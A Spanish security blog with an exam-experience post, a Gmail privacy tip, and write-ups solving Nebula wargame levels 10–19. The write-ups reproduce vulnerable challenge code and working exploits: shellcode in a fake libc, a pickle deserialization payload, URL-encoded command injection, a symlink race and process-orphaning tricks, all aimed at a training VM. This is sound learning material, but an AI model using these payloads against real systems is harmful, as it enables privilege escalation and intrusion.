Achievement Unlocked: SANS GIAC GXPN

El viernes pasado me acerqué a Dublín para realizar el examen de la certificación GIAC GXPN: Exploit Researcher and Advanced Penetration Tester. El examen fue más que bien (90,67%), así que estoy muy contento. A diferencia del centro anterior, ésta vez el local estaba mucho mejor. También es cierto que ésta es la primera certificación de SANS que obtengo desde que cambiaron a los centros VUPEN. Hay que decir, no obstante, que pese a que he leído quejas de algunos compañeros con respecto a éstos centros -verdaderas historias de terror en algunos casos- yo no tuve ningún problema, ni con los libros (el examen es open book) ni con mis notas, ni nada. Bueno, durante el examen saltó una alarma, pero el responsable entró a la sala a avisarnos de que era una falsa alarma y de que podíamos continuar.

El contenido del curso, que ésta vez realicé en On Demand, es adecuado, aunque creo que no debieron remozar el SEC709 en el SEC660 y el SEC710. Supongo que lo hicieron porque un curso únicamente sobre exploits no atraería a tanta gente (a mí sí), pero al separarlo en dos e incluir en éste primer curso más contenido de pentesting, la combinación queda un poco rara. El apartado de Python está bien, sobretodo si no tienes idea de Python. Para aquellos con un poco de experiencia con el lenguaje, es una sección superflua. La sección de criptografía para pentesters sí me gustó bastante, creo que es útil y que afronta temas que muchas veces quedan sin revisar durante los tests de intrusión. La parte de pentesting de red queda un poco coja desde mi punto de vista, y la parte de exploits no se mete en profundidad con la mayoría de los temas; imagino que es lo que se llevaron al SEC710. Sin embargo, he aprendido muchas cosas realizando el curso, lo he pasado bien y he mejorado en muchos aspectos, y eso es lo importante.


El examen es ligeramente más corto que el GPEN (3 horas en vez de 4), y contiene la mitad de preguntas (75). A pesar de que creo que el contenido del SEC660 es más complejo, me pareció que el examen era más sencillo (si bien saqué peor nota que en el GPEN). Al igual que con el GPEN, normalmente sobra tiempo (hora y media en este caso), ya que si hay algo que no sabes, es raro que vayas a poder encontrarlo buscando en los libros, ya que la mayor parte de las preguntas no son de ese estilo.

En conclusión, una experiencia siempre positiva con SANS.

Anuncios
Tagged with: , , ,
Publicado en General, seguridad

Solución Nebula Nivel 18

Como nos indican en las instrucciones de este nivel, existen tres formas de solucionarlo: fácil, media y difícil. Voy a contar cuales son y cómo resolverlo a través de una de ellas.


#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <getopt.h>

struct {
FILE *debugfile;
int verbose;
int loggedin;
} globals;

#define dprintf(...) if(globals.debugfile) fprintf(globals.debugfile, __VA_ARGS__)
#define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) fprintf(globals.debugfile, __VA_ARGS__)

#define PWFILE "/home/flag18/password"

void login(char *pw)
{
FILE *fp;

fp = fopen(PWFILE, "r");
if(fp) {
char file[64];

if(fgets(file, sizeof(file) - 1, fp) == NULL) {
dprintf("Unable to read password file %s\n", PWFILE);
return;
}

if(strcmp(pw, file) != 0) return;
}
dprintf("logged in successfully (with%s password file)\n", fp == NULL ? "out" : "");

globals.loggedin = 1;

}

void notsupported(char *what)
{
char *buffer = NULL;
asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what);
dprintf(what);
free(buffer);
}

void setuser(char *user)
{
char msg[128];

sprintf(msg, "unable to set user to '%s' -- not supported.\n", user);
printf("%s\n", msg);

}

int main(int argc, char **argv, char **envp)
{
char c;

while((c = getopt(argc, argv, "d:v")) != -1) {
switch(c) {
case 'd':
globals.debugfile = fopen(optarg, "w+");
if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg);
setvbuf(globals.debugfile, NULL, _IONBF, 0);
break;
case 'v':
globals.verbose++;
break;
}
}

dprintf("Starting up. Verbose level = %d\n", globals.verbose);

setresgid(getegid(), getegid(), getegid());
setresuid(geteuid(), geteuid(), geteuid());

while(1) {
char line[256];
char *p, *q;

q = fgets(line, sizeof(line)-1, stdin);
if(q == NULL) break;
p = strchr(line, '\n'); if(p) *p = 0;
p = strchr(line, '\r'); if(p) *p = 0;

dvprintf(2, "got [%s] as input\n", line);

if(strncmp(line, "login", 5) == 0) {
dvprintf(3, "attempting to login\n");
login(line + 6);
} else if(strncmp(line, "logout", 6) == 0) {
globals.loggedin = 0;
} else if(strncmp(line, "shell", 5) == 0) {
dvprintf(3, "attempting to start shell\n");
if(globals.loggedin) {
execve("/bin/sh", argv, envp);
err(1, "unable to execve");
}
dprintf("Permission denied\n");
} else if(strncmp(line, "logout", 4) == 0) {
globals.loggedin = 0;
} else if(strncmp(line, "closelog", 8) == 0) {
if(globals.debugfile) fclose(globals.debugfile);
globals.debugfile = NULL;
} else if(strncmp(line, "site exec", 9) == 0) {
notsupported(line + 10);
} else if(strncmp(line, "setuser", 7) == 0) {
setuser(line + 8);
}
}

return 0;
}

Difícil:

Si os fijáis con detenimiento, veréis que existe un buffer overflow en la función setuser(), en el parámetro msg. Sería posible solucionar el reto a través de ésta vulnerabilidad, aunque yo personalmente lo descarté. La complicación reside en que el sistema tiene ASLR activado, y el binario ha sido compilado con SSP y NX. Saltarse las protecciones y desarrollar un exploit funcional, aunque posible, está un poco fuera de lugar habiendo otras dos maneras sencillas de hacerlo.

SSP Detecta el BoF

Medio:

Existe una vulnerabilidad de tipo “format string” en la función notsupported(). La solución más evidente desde aquí sería tratar de sobreescribir la variable globals.loggedin, de tal forma que se pueda invocar la shell sin problemas. Sin embargo, el programa ha sido compilado con FORTIFY_SOURCE, y aunque podemos leer posiciones de memoria con esta vulnerabilidad, cuando tratamos de sobreescribir la memoria, la ejecución es abortada.

Fortify Source evita el format-strings

La dirección utilizada pertenece al .bss y se ha calculado con anterioridad para que apunte a globals.loggedin. Tratar de sobreescribir el .dtors produce el mismo efecto. En realidad, cualquier sobreescritura producirá una violación de segmento o el mensaje que se ve en la captura. Otra posibilidad sería leer de memoria el password, ya que estará en la pila durante el transcurso de la función login(). Sin embargo, no creo que el password sea accesible desde la función notsupported() tras la ejecución de login(). Cualquier otra idea, será interesante leerla en los comentarios.

Fácil:

La forma sencilla de explotar la vulnerabilidad radica otra vez en conocer un poco acerca del funcionamiento de linux, en éste caso, conocer los límites de los procesos. Fijaos bien en la función login(), en el flujo lógico:


FILE *fp;
fp = fopen(PWFILE, "r");
if(fp) {
...
}
globals.loggedin = 1;

Abre el fichero PWFILE, si lo abre satisfactoriamente, hace cosas con él. Si no, se acaba el “if” y te da acceso a la aplicación. Es un claro ejemplo de “fail open”. La pregunta evidente es: ¿cómo hacemos que falle la apertura del fichero? Al fichero en sí no tenemos acceso, así que no podemos cambiarle los permisos ni eliminarlo para que el programa falle. Sin embargo, seguro que habéis notado algo más, algo que falta. La función login() abre el fichero, pero no lo cierra. Esto es relevante cuando se añade el hecho de que un proceso tiene un máximo número de descriptores de fichero asignados. Cuando los agote todos, fopen() fallará.

1024 descriptores disponibles

Así que el truco va a consistir en invocar la función login() 1024 veces, y entonces el login fallará. Una vez que falle, fijará globals.loggedin a 1, y podremos invocar la shell. Veamos qué pasa.

Login+shell no funciona

Algo ha salido mal. Para ser más exactos, nuestra idea tiene un problema: cuando se va a ejecutar la shell, no quedan descriptores libres para ser utilizados por execve() durante la creación del proceso. Por suerte para nosotros, tenemos a nuestra disposición la llamada closelog, que cómo podéis ver, cierra el log, liberando un descriptor de fichero que nos viene muy bien.


} else if(strncmp(line, "closelog", 8) == 0) {
if(globals.debugfile) fclose(globals.debugfile);
globals.debugfile = NULL;
}

Así que a continuación vamos a llamar 1021 veces a login(), luego una vez a closelog(), y posteriormente a shell().

Algo no termina de funcionar aquí, pero hemos invocado la shell

El problema es que la shell se invoca con los parámeros que recibe el programa flag18, y no sabe interpretar el flag “-d”. Hay una funcionalidad de bash que podemos utilizar para sobrepasar este escollo, el flag “–init-file”. Éste flag hará que bash ejecute el contenido del fichero especificado. Aunque he intentado hacerlo de varias maneras, parece que lo único que consigo es que se ejecute el propio log del programa. Como el log del programa no contiene comandos reconocidos, la salida son un montón de líneas indicando que no encuentra el comando tal o cual.


level18@nebula:~$ perl -e 'print "login\n"x1021 . "closelog\n" . "shell\n"' | /home/flag18/flag18 --init-file /tmp/file -d /tmp/debug2.txt -vvv
/home/flag18/flag18: invalid option -- '-'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 'n'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 't'
/home/flag18/flag18: invalid option -- '-'
/home/flag18/flag18: invalid option -- 'f'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 'l'
/home/flag18/flag18: invalid option -- 'e'
/tmp/debug2.txt: line 1: Starting: command not found
/tmp/debug2.txt: line 2: got: command not found
/tmp/debug2.txt: line 3: attempting: command not found
/tmp/debug2.txt: line 4: got: command not found
/tmp/debug2.txt: line 5: attempting: command not found
/tmp/debug2.txt: line 6: got: command not found
/tmp/debug2.txt: line 7: attempting: command not found
/tmp/debug2.txt: line 8: got: command not found

La solución final, es crear un comando que se llame “Starting” o “got”, para que lo encuentre la shell, y que dicho comando ejecute nuestras instrucciones. Para ello, vamos a crear un script de bash llamado “Starting”, lo vamos a colocar en nuestro directorio actual, y vamos a añadir nuestro directorio actual al PATH, de tal forma que bash lo encuentre.

Creamos “Starting” en el directorio local

Y efectivamente en el fichero /tmp/flag18, tenemos el flag de éste nivel.


level18@nebula:~$ cat /tmp/flag18
You have successfully executed getflag on a target account

Con esto hemos cubierto todos los niveles de Nebula. Cualquier pregunta, en los comentarios.

¡Salud!

Tagged with: , , , ,
Publicado en exploiting, hacking

Soluciones Nebula Niveles 17,19

Nivel 17:

Tenemos un pequeño programa en python que acepta una entrada y la procesa.


#!/usr/bin/python

import os
import pickle
import time
import socket
import signal

signal.signal(signal.SIGCHLD, signal.SIG_IGN)

def server(skt):
line = skt.recv(1024)

obj = pickle.loads(line)

for i in obj:
clnt.send("why did you send me " + i + "?\n")

skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
skt.bind(('0.0.0.0', 10007))
skt.listen(10)

while True:
clnt, addr = skt.accept()

if(os.fork() == 0):
clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1]))
server(clnt)
exit(1)

He de admitir que a priori no tenía ni idea de por dónde coger este programa, así que me fui a mirar la documentación de algunas funciones de python que utiliza éste programa. Al final, resultó que la función pickle() no es segura, y que durante el proceso de “unpickling” se puede producir la ejecución arbitraria de código.

Me hice un pequeño script en python que me permitía ver qué salida se generaba cuando se usaba pickle sobre determinados objetos (cadenas, funciones, funciones anidadas…) para poder construir una llamada que desencadenara el problema de seguridad antes mencionado:

#!/usr/bin/python
import time
import os
import pickle

f = open("/dev/stdout","w")
pickle.dump(time.localtime,f)
f.close()

Con esto, y un poco más de investigación sobre la función REDUCE de pickle, pude llegar a lo siguiente:

level17@nebula:~$ cat /tmp/send
cos
system
(S'getflag > /tmp/flag17'
tR
.

Ahora, sólo queda enviarlo al servicio que escucha en el puerto 10007, con netcat por ejemplo, ya que está instalado en la VM.

Enviar y triunfar

Nivel 19:

El siguiente programa ejecuta una shell si “root lo ha ejecutado”:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>

int main(int argc, char **argv, char **envp)
{
pid_t pid;
char buf[256];
struct stat statbuf;

/* Get the parent's /proc entry, so we can verify its user id */

snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid());

/* stat() it */

if(stat(buf, &statbuf) == -1) {
printf("Unable to check parent process\n");
exit(EXIT_FAILURE);
}

/* check the owner id */

if(statbuf.st_uid == 0) {
/* If root started us, it is ok to start the shell */

execve("/bin/sh", argv, envp);
err(1, "Unable to execve");
}

printf("You are unauthorized to run this program\n");
}

El problema es que esa comprobación de “si root nos ha ejecutado” está un tanto mal hecha, ya que lo que realmente está comprobando es si su proceso padre se está ejecutando como el usuario root. En esencia, esto quiere decir que si conseguimos que el padre de este programa sea cualquier proceso que ejecute como root, obtendremos la shell de root. Cosa que no es demasiado difícil de conseguir si conocemos cómo funionan los procesos en Linux.

Si un proceso que tiene hijos, muere antes de la finalización de éstos, deja a los procesos hijos “huérfanos”, lo cual supone un problema, ya que no tienen a quien comunicar su estado de finalización, ni las señales que no capturan, entre otras cosas. Para ésto, existe en Linux el proceso init. Init siempre se ejecuta al iniciar el sistema, como primer proceso del mismo, con el número de proceso 1. Además, se encargará de “acoger”, y convertirse por tanto en el padre, de todos aquellos procesos huérfanos del sistema. Ah, e init se ejecuta como root 😉

Por tanto, si ejecutamos el programa víctima, y después morimos, el programa será heredado por init y podremos obtener la shell. Bueno, podremos ejecutar comandos en esa shell de root, ya que obtenerla será difícil puesto que habremos perdido el control del hijo al morirnos. El siguiente programa en C hace esto mismo:

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <time.h>
#include <sys/types.h>

int main(void){
pid_t pid;
char* args[]= {"/bin/sh", "-c", "getflag > /tmp/flag19", NULL};
pid = fork();
if (pid==0){
//hijo, a ejecutar el programa objetivo
nice(19);
execve("/home/flag19/flag19",args, NULL);
}else if (pid <0){
printf("Ups\n");
}else{
//padre, debe morir
exit(1);
}
return 0;
}

Cómo veis, se ejecuta flag19 pasándole los argumentos que luego él transmitirá a la shell mediante la llamada execve.

Explotando los problemas padre-hijo

Ya sólo nos queda el nivel 18, al que he decidido dedicarle una entrada a parte para no alargar ésta más de la cuenta.

¡Salud!

Tagged with: , , , ,
Publicado en exploiting, hacking

Soluciones Nebula Niveles 15,16

Nivel 15:

Debo decir que éste nivel ha sido, para mí, el más complicado de los veinte. Identificar el problema no fue complicado, pero conseguir que la solución funcionara ha sido una pesadilla. El nivel nos sugiere que realicemos strace sobre el binario, así que nos lanzamos de cabeza a la tarea:

Abriendo libc desde extrañas ubicaciones

Como podéis ver en la imagen, se intenta abrir la librería libc desde diferentes ubicaciones, hasta finalmente encontrarla en el directorio habitual. Si os fijáis en la línea seleccionada, una de las ubicaciones es /var/tmp/flag15/libc.so.6. Dicho directorio no existe, y al estar ubicado en /var/tmp, podemos crearlo nosotros, copiar una libc falsa en él, y esperar a que el programa la abra. Cuando la víctima invoque alguna función de nuestra librería trampa, podremos tomar el control. Parece fácil, ¿verdad? Pues es un infierno.

Si se hubiera tratado de otra librería, no habría sido demasiado difícil crear una falsificación aceptable que permitiera tomar el control de las llamadas a funciones pertenecientes a dicha librería, pero al tratarse de libc, la cosa se complica. Las principales pesadillas son:

  1. Compilar algo parecido a un libc, que no estalle cuando el programa lo cargue.
  2. Ejecutar nuestros comandos en ella (no, no tendremos acceso a las funciones de libc, así que…)

Para el segundo punto, lo más sencillo que me vino a la cabeza fue reutilizar una shellcode que tenía a mano (hecha por mí) que invoca una shell. De este modo soluciono el problema de no poder llamar a ninguna función desde mi falsa libc. Podría haber embebido ASM en mi código C, pero no soy muy fan del formato ASM de gcc, así que he preferido coger la shellcode y llamarla con un puntero a función:

    char shellcode[]=
"\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4b"
"\x08\x8d\x53\x0c\xb0\x0b\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68";
int (*func)();
func = (int (*)()) shellcode;
(int)(*func)();

El primer punto me trajo de cabeza varios días. Primero traté de crear las funciones que el programa requería, funciones de inicialización de la librería, funciones de limpieza al finalizar la ejecución, y luego la función que quería suplantar. Decidí usar write(). Sin embargo, me topé con dos problemas:

  • No tenía ni idea de cómo continuar la ejecución a la función write() original (no podía usar dlsym/dlopen).
  • No conseguía inicializar la librería adecuadamente.
  • No conseguía los valores de compilación adecuados que no la hicieran explotar al ser cargada por el binario flag15.

Para solucionar los dos primeros puntos, decidí que era más sencillo utilizar la propia función de inicialización para ejecutar mi código dentro de la misma. Además, si según se cargaba libc yo ejecutaba una shell, no había necesidad de realizar la inicialización normal. El último punto seguía siendo un problema. Al final, buscando cómo compilar la propia libc, cómo derivar el flujo de ejecución de funciones dentro de libc, etc, acabé dando con éste post de Chris Meyers, en el que publica su solución al reto. Su aproximación es similar a la mía, si bien él optó por la abstracción syscall() para ejecutar su código en lugar de la shellcode. Pero los dos usábamos la misma idea de usar la inicialización de libc como trampolín, así que “tomé prestado” su Makefile. ¡Gracias Chris! Resulta que lo único que me faltaba para que funcionara correctamente era el flag -Bstatic 🙂

Ésta es mi “libc” falsa, después de cientos de versiones distintas:


int __libc_start_main(void){
char shellcode[]=
"\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4b"
"\x08\x8d\x53\x0c\xb0\x0b\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68";

int (*func)();
func = (int (*)()) shellcode;
(int)(*func)();
}

Aquí tenéis el Makefile de Chris, ligeramente modificado para adaptarlo a mi solución (añadí -z execstack, y cambié los nombres de las librerías):


all:
gcc -fPIC -c libc.c -o libc.o
gcc -z execstack -shared -Wl,-Bstatic,-soname,libc.so,--version-script,version.script -o libc.so.6 libc.o -L/usr/lib/i386-linux-gnu/ -lc -static

clean:
rm -f *.so *.o

El fichero version.script, necesario para compilar libc, para ésta “libc” basta con lo siguiente:

GLIBC_2.0 {
};

Con ésto listo, ya sólo es cuestión de compilar, copiar a /var/tmp/flag15, y ejecutar el programa del reto.

Así visto parece fácil

Nivel 16:

Éste es otro nivel que hay que resolver mediante el uso del navegador. El siguiente CGI de perl escucha en el puerto 1616.

#!/usr/bin/env perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub login {
$username = $_[0];
$password = $_[1];

$username =~ tr/a-z/A-Z/;    # conver to uppercase
$username =~ s/\s.*//;        # strip everything after a space

@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
foreach $line (@output) {
($usr, $pw) = split(/:/, $line);

if($pw =~ $password) {
return 1;
}
}

return 0;
}

sub htmlz {
print("<html><head><title>Login resuls</title></head><body>");
if($_[0] == 1) {
print("Your login was accepted<br/>");
} else {
print("Your login failed<br/>");
}
print("Would you like a cookie?<br/><br/></body></html>\n");
}

htmlz(login(param("username"), param("password")));

No es díficil darse cuenta de la inyección de comandos en la función login(), cuando se invoca egrep con valores controlados por el usuario. Tenemos que tener en cuenta, no obstante, un par de limitaciones que hay que superar:
  1. Nuestra entrada se va a pasar a mayúsculas antes de ser ejecutada por bash
  2. No podemos usar espacios, todo lo que venga después de un espacio se va a eliminar.
  3. Hay que hacer url-encode de los caracteres propios de una URL (como el &).
  4. Si el comando egrep no termina correctamente fallará, y no se ejecutará nuestra inyección.

El tercer problema es sencillo, simplemente reemplazaremos el & por su equivalente %26. El segundo no es difícil, simplemente crearemos un script en /tmp, y así podremos poner todas las órdenes que queramos, con espacios o sin ellos.

Para la cuarta, simplemente vamos a utilizar un null byte al final de nuestra cadena a inyectar (%00), de tal forma que egrep considere que termina ahí, y no falle. La primera tiene un poco más de chicha, pero tampoco demasiada. El problema, que ya habréis notado, es que si creamos un script en /tmp/level16, y tratamos de que el programa lo ejecute, por ejemplo con una inyección así:


// comillas para terminar su comand, & para ejecutar el nuestro, y null byte para terminar egrep bien
"%26/tmp/level16%00

Veremos cómo el programa intenta ejecutar /TMP/LEVEL16, que no existe, por aquello de que Linux diferencia entre mayúsculas y minúsculas. Evidentemente podemos cambiar el nombre de nuestro script a LEVEL16, y solucionar parte del problema, pero me temo que no podemos renombrar /tmp, ni crear un nuevo directorio en /. Sin embargo, bash tiene algunas características muy útiles y que todos usamos a diario, que van a acudir a nuestro rescate: los wildcards. Es decir, que podemos usar * (asterisco) o ? (interrogación) y bash los expandirá para que encajen con el patrón solicitado. Por lo tanto, tras renombrar el script a LEVEL16, la siguiente inyección sí debería funcionar:

// comillas para terminar su comand, & para ejecutar el nuestro, y null byte para terminar egrep bien
// ???, cualquier cadena de 3 caracteres
%26/???/LEVEL16a%00

Contenido del script y verificación de que funcionó

Invocando el CGI con el payload adecuado

Más en la próxima entrada.

¡Salud!

Tagged with: , , , ,
Publicado en exploiting, hacking

Solución Nebula nivel 11

Éste nivel me pareció interesante. No es que sea difícil ver por dónde tirar, pero me lié un rato a la hora de programar la solución. Echad un vistazo al código del reto:


#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>

/*
* Return a random, non predictable file, and return the file descriptor for it.
*/

int getrand(char **path)
{
char *tmp;
int pid;
int fd;

srandom(time(NULL));

tmp = getenv("TEMP");
pid = getpid();

asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
'A' + (random() % 26), '0' + (random() % 10),
'a' + (random() % 26), 'A' + (random() % 26),
'0' + (random() % 10), 'a' + (random() % 26));

fd = open(*path, O_CREAT|O_RDWR, 0600);
unlink(*path);
return fd;
}

void process(char *buffer, int length)
{
unsigned int key;
int i;

key = length & 0xff;

for(i = 0; i < length; i++) {
buffer[i] ^= key;
key -= buffer[i];
}

system(buffer);
}

#define CL "Content-Length: "

int main(int argc, char **argv)
{
char line[256];
char buf[1024];
char *mem;
int length;
int fd;
char *path;

if(fgets(line, sizeof(line), stdin) == NULL) {
errx(1, "reading from stdin");
}

if(strncmp(line, CL, strlen(CL)) != 0) {
errx(1, "invalid header");
}

length = atoi(line + strlen(CL));

if(length < sizeof(buf)) {
if(fread(buf, length, 1, stdin) != length) {
err(1, "fread length");
}
process(buf, length);
} else {
int blue = length;
int pink;

fd = getrand(&path);

while(blue > 0) {
printf("blue = %d, length = %d, ", blue, length);

pink = fread(buf, 1, sizeof(buf), stdin);
printf("pink = %d\n", pink);

if(pink <= 0) {
err(1, "fread fail(blue = %d, length = %d)", blue, length);
}
write(fd, buf, pink);

blue -= pink;
}

mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
if(mem == MAP_FAILED) {
err(1, "mmap");
}
process(mem, length);
}

}

Parece claro que tenemos que llegar a la llamada a la función system(). Tratar de hacerlo por la rama en la que el valor de Content-Length es menor de 1024 es una pérdida de tiempo.

    if(length < sizeof(buf)) {
if(fread(buf, length, 1, stdin) != length) {
err(1, "fread length");
}
process(buf, length);

Esto es debido a que el valor de retorno de la función fread() va a ser o bien 0, o bien 1, pero nunca igual a la longitud del mensaje, salvo que ésta sea 0 o 1, en cuyo caso es un mensaje inútil para nuestros propósitos.

Si lo intentamos por la otra rama (Content-Length>sizeof(buf)), es necesario exportar una variable de entorno llamada TEMP, que apunte a un directorio con permiso de escritura.

export TEMP=/tmp

De lo contrario, la llamada a getrand() devolverá un descriptor de fichero inválido, y el bucle fallará cuando invoque write() sobre él.

        fd = getrand(&path);

while(blue > 0) {
…
pink = fread(buf, 1, sizeof(buf), stdin);
...
write(fd, buf, pink);
…
blue -= pink;

Con estos pasos, deberíamos ser capaces de llegar a la función process(), donde podemos ver que se realizan una serie de modificaciones sobre el contenido del buffer antes de ejecutarlo mediante system().

La solución pasa por elegir el código que queremos ejecutar, y realizar la operación inversa a process() sobre él, de tal forma que cuando la función lo manipule, el resultado que se envía a system() sea el código que hemos escogido. Recordemos además, que ésta cadena tiene que ser mayor que 1024 caracteres, para que siga el flujo de ejecución requerido.

El siguiente código hace exactamente eso, convirtiendo el comando “;getflag >> /tmp/flag11;” en una cadena, que tras ser manipulada por la función process(), devuelva exactamente “;getflag >> /tmp/flag11;“. Hay algún problema con los primeros caracteres del buffer, así que para no perder más tiempo tratando de averiguar qué pasaba, decidí poner el comando al final del buffer.


#include <string.h>
#include <stdlib.h>
#include <stdio.h>

int main(void)
{
unsigned int key;
int i;
unsigned int valid_key;
int length=2048;
char shell[] = ";getflag >> /tmp/flag11;";
char* buffer=malloc(length);
// FILL BUFFER
for (i=0;i<length;i++){
buffer[i] = 0x41;
}
memcpy(buffer+length-strlen(shell)-1,shell, strlen(shell));
buffer[length-1]=0;
// END FILL BUFFER

char* buffer2 = malloc(strlen(buffer));
memcpy(buffer2, buffer, strlen(buffer));

// ORIG ALGO, input = X
key = length & 0xff;
for(i = 0; i < length; i++) {
buffer[i] ^= key;
key -= buffer[i];
}
// END ORIG ALGO, output = Y
valid_key = key;
// REV OPER, input= Y
for(i = length-1; i >= 0; i--) {
valid_key += buffer2[i];
buffer2[i] ^= valid_key;
}
// END REV OPER, output = X

// FEED THE FLAG11 BIN
printf("Content-Length: %d\n", length);
for (i=0;i<length;i++){
printf("%c",buffer2[i]);
}
// END FEEDING
return 0;
}

Podemos ver la ejecución de la solución en la siguiente imagen. El buffer contiene “A” hasta completar los 2048 caracteres, es por eso que bash se queja de que el comando “AAAAA….AAA” no existe. No obstante, nuestro comando se ejecuta correctamente.

Ejecución de comandos 🙂

Más en la siguiente entrada.

¡Salud!

Tagged with: , , , ,
Publicado en exploiting, hacking

Cuidadín con vincular cuentas de GMail

Estoy seguro de que todos conocemos a alguien (o nosotros mismos) que tiene una cuenta de gmail para uso cotidiano, y otra para “otras cosas”, ya sea hacking, páginas de relaciones de dudosa credibilidad, etc. Y también estoy seguro de que más de uno, conocedor de las facilidades de Google para unificar cuentas, ha configurado su cuenta principal para recibir y enviar emails de la cuenta alternativa. Evidentemente, uno pensaría que si envías un email desde tu cuenta principal en nombre de la cuenta alternativa, el receptor no tiene constancia de la vinculación de ambas cuentas. Sin embargo, nada más lejos de la realidad.

Vista desde la bandeja de enviados de GMail

Desde la bandeja de entrada todo parece normal, no hay motivo para no estar tranquilo.

Vista del receptor del email

Sin embargo, cuando el correo llega a destino… ¡Ups! Así que nada, ya sabéis, no uséis este mecanismo para contactar con esas mujeres ligeras de ropa, o para notificar vulnerabilidades a terceros, para hacer spam o para mandar amenazas al tipo ese que ronda a vuestra pareja; que parece que no, pero se van a dar cuenta 😉

¡Salud!

Adrián

Tagged with: , ,
Publicado en General, seguridad

Soluciones Nebula Niveles 10,12,13,14

Seguimos con los niveles 10,12,13,14. Dejo el 11 para una entrada aparte, ya que ésta es suficientemente larga sin él.

Nivel 10:

Éste nivel es una condición de carrera clásica. La oportunidad se da porque comprueba si tenemos permisos para leer el fichero con access(), y el acceso real al fichero se hace un poco después.

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(int argc, char **argv)
{
char *file;
char *host;

if(argc < 3) {
printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
exit(1);
}

file = argv[1];
host = argv[2];

if(access(argv[1], R_OK) == 0) {
int fd;
int ffd;
int rc;
struct sockaddr_in sin;
char buffer[4096];

printf("Connecting to %s:18211 .. ", host); fflush(stdout);

fd = socket(AF_INET, SOCK_STREAM, 0);

memset(&sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(host);
sin.sin_port = htons(18211);

if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
printf("Unable to connect to host %s\n", host);
exit(EXIT_FAILURE);
}

#define HITHERE ".oO Oo.\n"
if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
printf("Unable to write banner to host %s\n", host);
exit(EXIT_FAILURE);
}
#undef HITHERE

printf("Connected!\nSending file .. "); fflush(stdout);

ffd = open(file, O_RDONLY);
if(ffd == -1) {
printf("Damn. Unable to open file\n");
exit(EXIT_FAILURE);
}

rc = read(ffd, buffer, sizeof(buffer));
if(rc == -1) {
printf("Unable to read from file: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}

write(fd, buffer, rc);

printf("wrote file!\n");

} else {
printf("You don't have access to %s\n", file);
}
}

Esto significa que tenemos una pequeña oportunidad de cambiar el fichero al que tratamos de acceder entre las dos operaciones, usando enlaces simbólicos. El siguiente código en C, ejecutado el suficiente número de veces conseguirá enviar el fichero “token”. Para recibirlo, simplemente pondremos un netcat a la escucha:

#include <stdlib.h>

#include <stdio.h>

int main(int argc, char **argv){

pid_t pid;
char* args[] = {"/home/flag10/flag10","/tmp/token","192.168.56.1",NULL};
char* env[] = {NULL};
int i;

unlink("/tmp/token");
symlink("/tmp/b","/tmp/token");
pid = fork();
if (pid==0) //child
{
execve("/home/flag10/flag10", args,env);
}else if (pid<0) // error
{
printf("Failed to fork\n");
exit(1);
}else //parent
{
unlink("/tmp/token");
symlink("/home/flag10/token","/tmp/token");
}
return 0;
}

El token que se recibe es la contraseña de la cuenta flag10.

Nivel 12:

Éste nivel es especialmente fácil, demostrando que no están ordenados por dificultad ni mucho menos.


local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 50001))

function hash(password)
prog = io.popen("echo "..password.." | sha1sum", "r")
data = prog:read("*all")
prog:close()

data = string.sub(data, 1, 40)

return data
end

while 1 do
local client = server:accept()
client:send("Password: ")
client:settimeout(60)
local line, err = client:receive()
if not err then
print("trying " .. line) -- log from where ;\
local h = hash(line)

if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then
client:send("Better luck next time\n");
else
client:send("Congrats, your token is 413**CARRIER LOST**\n")
end

end

client:close()
end
Se produce una concatenación insegura en la función hash() que podemos aprovechar para inyectar comandos. Simplemente, conectamos al servicio y enviamos como contraseña la cadena “whatever; getflag > /tmp/flag12” (sin las comillas).

Desconcertantemente sencillo

Nivel 13:

Yo no fui capaz de ver ninguna vulnerabilidad evidente en el siguiente código:


#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <string.h>

#define FAKEUID 1000

int main(int argc, char **argv, char **envp)
{
int c;
char token[256];

if(getuid() != FAKEUID) {
printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID);
printf("The system administrators will be notified of this violation\n");
exit(EXIT_FAILURE);
}

// snip, sorry 🙂

printf("your token is %s\n", token);

}

